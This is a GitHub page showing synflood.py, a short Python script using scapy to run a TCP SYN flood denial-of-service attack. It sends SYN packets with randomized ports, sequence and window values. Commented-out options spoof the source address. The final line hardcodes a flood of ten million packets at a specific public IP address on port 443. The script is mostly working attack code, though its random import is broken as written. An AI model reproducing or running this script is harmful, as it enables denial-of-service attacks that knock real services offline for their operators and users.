-
Notifications
You must be signed in to change notification settings - Fork 1
/
synflood.py
59 lines (43 loc) · 1.59 KB
/
synflood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Research:
# https://github.com/EmreOvunc/Python-SYN-Flood-Attack-Tool/blob/master/SYN-Flood.py
# https://github.com/mjdubell/SYN-Flooder/blob/master/syn_flooder.py
# http://www.cs.miami.edu/home/burt/learning/Csc524.032/notes/tcp_nutshell.html
from random import random
from scapy.layers.inet import *
from scapy.sendrecv import send
import argparse
import sys
from datetime import datetime
# for randomized source IP
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
# random port to minimize request similarity
def randomPort():
port = random.randint(1000, 65535)
return port
# random integer used for sequence and window values
def randomInt():
x = random.randint(1000, 9000)
return x
def SYN_Flood(destinationIP, destinationPort, amount):
total = 0
for x in range(0, amount):
source_port = randomPort()
source_sequence = randomInt()
window = randomInt()
IP_Packet = IP()
IP_Packet.dst = destinationIP
IP_Packet.src = "145.93.149.59"
# IP_Packet.src = "127.0.0.1"
# IP_Packet.src = randomIP()
TCP_Packet = TCP()
TCP_Packet.sport = source_port
TCP_Packet.dport = destinationPort
TCP_Packet.flags = "S"
TCP_Packet.seq = source_sequence
TCP_Packet.window = window
send(IP_Packet / TCP_Packet, verbose=0)
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
SYN_Flood("35.241.178.69", 443, 10000000) # script is not far enough that it supports arguments so it's completely procedural.